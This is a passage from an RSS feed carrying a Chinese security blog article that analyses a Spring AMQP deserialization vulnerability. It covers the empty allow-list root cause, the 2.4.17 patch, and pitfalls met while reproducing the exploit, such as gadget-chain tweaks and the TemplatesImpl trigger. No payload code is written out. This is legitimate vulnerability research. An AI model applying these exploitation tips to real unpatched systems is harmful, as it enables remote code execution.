13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在监听接收消息时，会调用</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">SimpleMessageConverter.fromMessage()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，判断了 content-type 类型符合</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">application/x-java-serialized-object</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，于是调用</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">SerializationUtils.deserialize()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">对 message 进行反序列化；<br/>

 </span><span style="mso-bookmark:images_1698288630907_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="310" data-backw="578" data-imgfileid="100004412" data-ratio="0.5370370370370371" width="601.7100219726562" data-type="png" data-w="1080" height="323.33001708984375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=a233c3d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnEEibmINwy6Qf0JIMs1wUpvjicLqzPnVKaThhDTvaFxhakR3H5sgJicccw%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在 SimpleMessageConverter 中重写了</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">CodebaseAwareObjectInputStream#resolveClass()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">方法，调用了</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">checkAllowedList(</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">)</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">对反序列化的类进行校验；         <br/>

 </span><span style="mso-bookmark:images_1698289009632_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="214" data-backw="578" data-imgfileid="100004414" data-ratio="0.37037037037037035" width="601.7100219726562" data-type="png" data-w="1080" height="222.8699951171875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=561227e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnGVicSxa0fZBCUr3J0unHFUMryL7VKVxQwcodHc8N7EQLSpnZJYksQYw%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698289009632_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">然而</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">allowedListPatterns</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">默认为空，并没有起到白名单校验的作用，就导致任意类都允许被反序列化；         <br/>

 </span><span style="mso-bookmark:images_1698289156819_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="224" data-backw="578" data-imgfileid="100004413" data-ratio="0.387037037037037" width="601.7100219726562" data-type="png" data-w="1080" height="232.9700164794922" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8784c1da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnH5YXGC2qje43JJvnWUiac6GdBrdHVlUq44INZZQVtPU8X81oxkU0jRg%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">最后看到熟悉的触发点。         <br/>

 </span><span style="mso-bookmark:images_1698289743326_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="206" data-backw="578" data-imgfileid="100004410" data-ratio="0.35555555555555557" width="601.7100219726562" data-type="png" data-w="1080" height="214.00003051757812" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3c379b9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnYVu8lnI0hmBXulku3zuUnYQZ6LSh5OtNdia6YLK83Kkx4VGSwCwTwyg%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="mso-style-name: &#39;Para 02&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 26.4pt;mso-pagination: widow-orphan;font-size: 22.0pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;text-decoration: underline;color: rgb(6, 153, 7);">5. 补丁分析</span></p><p style="mso-style-name: &#39;Para 09&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #0000FF;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;text-underline: single;text-decoration: underline;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="color: rgb(47, 47, 47);letter-spacing: 0.578px;text-indent: 0pt;">补丁地址：</span><a href="https://github.com/spring-projects/spring-amqp/compare/v2.4.16...v2.4.17?diff=split" target="_blank">https://github.com/spring-projects/spring-amqp/compare/v2.4.16...v2.4.17?diff=split</a><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">Spring AMQP 2.4.17 相较于 2.4.16 版本新增了环境变量</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">SPRING_AMQP_DESERIALIZATION_TRUST_ALL</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">和 JVM 属性</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">spring.amqp.deserialization.trust.all</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，只有两个值都为 true时， </span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">TRUST_ALL</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">变量才为 true；         <br/>

 </span><span style="mso-bookmark:images_1698299850506_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="234" data-backw="578" data-imgfileid="100004411" data-ratio="0.4046296296296296" width="601.7100219726562" data-type="png" data-w="1080" height="243.24000549316406" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8876ff07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNngibAWXjdyUl89zJKicUGQWT5qTGPdpHiaH27Tiaqx1WjiaUS4xgd6zf4h3A%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">chec</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">kAllowedList()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">方法中也是增加了对</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">TRUST_ALL</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">的判断。        <br/>

 </span><span style="mso-bookmark:images_1698299986603_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="224" data-backw="578" data-imgfileid="100004415" data-ratio="0.38796296296296295" width="601.7100219726562" data-type="png" data-w="1080" height="233.18997192382812" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7f4aeaaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnRlH1NhIaz6TwSdKWh5NF1nKibFraSEhCpIoPHbxfL06ibjGVMAzN8LNA%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: 26.4pt;font-size: 22pt;color: rgb(47, 47, 47);font-weight: bold;"><span style="color: rgb(6, 153, 7);"><span style="font-family: &#34;Helvetica Neue&#34;;color: rgb(6, 153, 7);font-variant: normal;text-transform: none;text-decoration: underline;">6. </span><span style="font-family: &#34;Helvetica Neue&#34;;color: rgb(6, 153, 7);font-variant: normal;text-transform: none;text-decoration: underline;">踩的坑</span></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">因为对 AMQP 不是很熟悉，试错了好多次才勉强复现出来。</span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">1.删除 BaseJsonNode.writeReplace</span></strong></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">使用原本的 BaseJsonNode 的话，在发送消息序列化的时候会调用</span><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">BaseJsonNode.writeReplace()</span><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">，最后也会调用</span><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">TemplatesImpl.getOutputProperties()</span><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">触发命令执行；</span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-align: center;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">但是这里触发后会报错</span><span style="font-size: 13.5pt;text-align: center;text-indent: 0pt;letter-spacing: 0.034em;color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">NullPointerException</span><span style="font-size: 13.5pt;text-align: center;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">，导致消息传递中断。 </span><img class="rich_pages wxw-img" data-backh="270" data-backw="527" data-imgfileid="100004417" data-ratio="0.512962962962963" width="601.7100219726562" data-type="png" data-w="1080" height="308.73004150390625" style="font-size: 13.5pt;text-align: center;text-indent: 2em;letter-spacing: 0.034em;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=bae322aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnxUOu9rsiaARPjAQ5Vrqm7pOZMfK4HscFyFR3fSicia31OLH9NNxibJQ8OA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;margin-left: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;text-indent: 2em;"><o:page></o:page></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">删除掉</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">BaseJsonNode.writeReplace()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">就调用的是</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">UnmodifiableRandomAccessList.writeReplace()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，消息能继续传递。         <br/>

 </span><span style="mso-bookmark:images_1698302107759_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="566" data-backw="578" data-imgfileid="100004416" data-ratio="0.9792332268370607" width="601.7100219726562" data-type="png" data-w="626" height="589.2100219726562" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c65ffcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnkYMruXlvJ8cRzKv84AZicvAAzsfsHkzZHkaSWdBiaIftmUzvJkdSXnNQ%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">2.Jackson 反序列化链不稳定</span></strong></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">可以学习这篇文章：</span><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;color: rgb(0, 0, 255);text-decoration: underline;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"><a href="https://xz.aliyun.com/t/12846" target="_blank">https://xz.aliyun.com/t/12846</a></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">3. 抛出 org.springframework.amqp.AmqpRejectAndDontRequeueException异常</span></strong></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;">因为在执行 CommonBeanutils 链时必然会出现报错，导致消息处理不成功，就会让消息重新排队处理，然后又报错，陷入死循环。</span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;">抛出这个异常可以避免无限次地重试失败的消息，节约系统资源。</span></p><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">4. 消息未处理，删除队列</span></strong></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">由于消息处理失败，还是会留存在队中，处于</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">u</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">nacked</span><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">状态，当测试程序再次启动时，就会优先处理队列中留存消息。</span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">所以在复现过程中如果队列中还留存有上一次测试的消息，可以把队列删除重新创建。</span><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;">   </span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;"><br/></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">参考链接：</span></strong></span></p><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(0, 0, 255);font-weight: normal;text-decoration: underline;margin-top: 12pt;margin-bottom: 12pt;"><span style="font-size:13.5pt;font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><a href="https://exp10it.cn/2023/10/spring-amqp-反序列化漏洞-cve-2023-34050-分析/" target="_blank">https://exp10it.cn/2023/10/spring-amqp-反序列化漏洞-cve-2023-34050-分析/</a><br/></span><span style="mso-style-name: &#39;02 Text&#39;;mso-style-parent: &#39;&#39;;color: #2F2F2F;text-decoration: none;text-underline: none;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"> </span><span style="font-size:13.5pt;font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><a href="https://boogipop.com/2023/04/24/AliyunCTF" target="_blank">https://boogipop.com/2023/04/24/AliyunCTF</a> 2023 WriteUP/<br/></span><span style="mso-style-name: &#39;02 Text&#39;;mso-style-parent: &#39;&#39;;color: #2F2F2F;text-decoration: none;text-underline: none;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"> </span><span style="font-size:13.5pt;font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><a href="https://blog.csdn.net/qq_43655835/article/details/106827158" target="_blank">https://blog.csdn.net/qq_43655835/article/details/106827158</a></span><o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488077">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cc53a9be&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488077%26idx%3D1%26sn%3D0938235f919dbac9f60eb3b9676da56b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 23 Nov 2023 11:52:00 +0800</pubDate>
    </item>
    <item>
      <title>给应届安全研究员的一些建议</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247487987&amp;idx=1&amp;sn=d4a1f31e8a9fb73a44cee40669c4e503</link>
      <description>安全行业是一个竞争非常激烈的领域，在这样的环境下，外界的评价和业界标准往往会影响我们对自己能力的认知。</description>
      <content:encoded><![CDATA[<p>
